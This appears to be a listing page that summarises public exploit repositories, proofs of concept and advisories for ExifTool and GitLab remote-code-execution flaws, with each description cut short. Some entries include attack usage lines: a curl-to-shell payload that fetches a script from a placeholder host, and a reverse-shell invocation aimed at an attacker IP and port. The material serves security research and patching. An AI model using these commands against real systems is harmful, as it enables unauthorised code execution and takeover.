CVE-2021-22204

CVE-2021-22204 - Exiftool Remote Code Execution Description Recently, the researcher wcbowling found a vulnerability in the Exiftool tool, that enabled a malicious actor to perform a Remote code Execution attack. This vulnerability was found in the Gitlab bug bounty program, where they use this...

exploit-CVE-2021-22204

Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description Improper neutralization of user data in the DjVu file format in...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Python exploit for the CVE-2021-22204 vulnerability in Exiftool. About the vulnerability The CVE-2021-22204 was discovered and reported by William Bowling. @wcbowling This exploit was made by studying the exiftool patch after the CVE was already reported. Pre-requisites...

CVE-2022-23935

Introduction CVE-2022-23935 exploit PoC exiftool version 12.37 Installation git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools Usage ./CVE-2022-23935...

CVE-2021-22204

CVE-2021-22204 - ExifTool Arbitrary Code Execution An upgraded proof-of-concept for CVE-2021-22204, a vulnerability in ExifTool versions 7.44 through 12.23 that allows arbitrary code execution when processing malicious DjVu files. Credit This is derivative work. The vulnerability and the original...

PowerMeta

PowerMeta PowerMeta searches for publicly available files hosted on various websites for a particular domain by using specially crafted Google, and Bing searches. It then allows for the download of those files from the target domain. After retrieving the files, the metadata associated with them c...

pymeta

PyMeta PyMeta es una reescritura en Python3 de la herramienta PowerMeta, creada por dafthack en PowerShell. Utiliza consultas de búsqueda especialmente diseñadas para identificar y descargar los siguientes tipos de archivo pdf, xls, xlsx, csv, doc, docx, ppt, pptx de un dominio dado mediante el...

CVE-2021-22204

ExifTool Remote Code Execution Vulnerability This is supposed to be an analysis of CVE-2021-22204, but it feels more like my scratchpad filled with messy notes. It might seem rambling for a vulnerability analysis, but I learned a lot from it. To be honest, I have never used this tool and had almo...

CVE-2021-22204

Vulnerable Version 7.44 12.23 Reproduce $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Screenshot Reference NVD-CVE-2021-22204...

Gotenberg <= 8.30.1 - Remote Code Execution

Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a n...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file...

Metaforge

Metaforge "An OSINT tool that analyzes metadata and creates dynamic reports" https://chriswmorris.github.io/Metaforge/ Senior Design Project 2019 - By Chris Morris and Collin Mockbee A Python3 Application for Unix-based Operating Systems Note: Metaforge requires at least python version 3.5 to wor...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Usage $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Credit https://hackerone.com/reports/1154542 Referred code snippet from here: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Disclaimer: The script is fo...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool This project is for learning only, if someone's rights have been violated, please contact me to remove the project, and the lastDO NOT USE IT ILLEGALLY If you have any illegal behavior in the process of using this tool, you will bear all the...

CVE-2026-43893

Aviso de seguridad: exiftool-vendored.js Vulnerabilidad de inyección de argumentos en exiftool-vendored.js Identificador: GHSA-cw26-7653-2rp5 Repositorio afectado: photostructure/exiftool-vendored.js Resumen exiftool-vendored.js es vulnerable a la inyección de argumentos cuando se pasan nombres d...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Exploit en Python para la vulnerabilidad CVE-2021-22204 en Exiftool. Video tutorial Youtube 404 notfound Requisitos python3 python3-pip djvulibre-bin exiftool Instalar requisitos Debian apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip Ubuntu...

CVE-2021-22204

CVE-2021-22204 Un PoC completo para CVE-2021-22204 exiftool RCE...

Golang-CVE-2021-22205-POC

Golang-CVE-2021-22205-POC A bare bones CVE-2021-22205 Gitlab RCE POC written in Golang which affects Gitlab CE/EE /tmp/pizza.txt" Where the t flag specifies the target Gitlab instance and the c flag is the command you want to run. The script is setup to use http://localhost:9090 as a proxy. You'l...

Gitlab-CVE-2021-22205

Unauthenticated RCE on Gitlab version -c Tested on version 13.10.1-ce.0...

CVE-2021-22205

CVE-2021-22205 - GitLab Unauthenticated Remote Code Execution CVE-2021-22205 is a critical Remote Code Execution RCE vulnerability affecting GitLab Community Edition CE and Enterprise Edition EE. The vulnerability originates from improper validation of uploaded image files that are processed by t...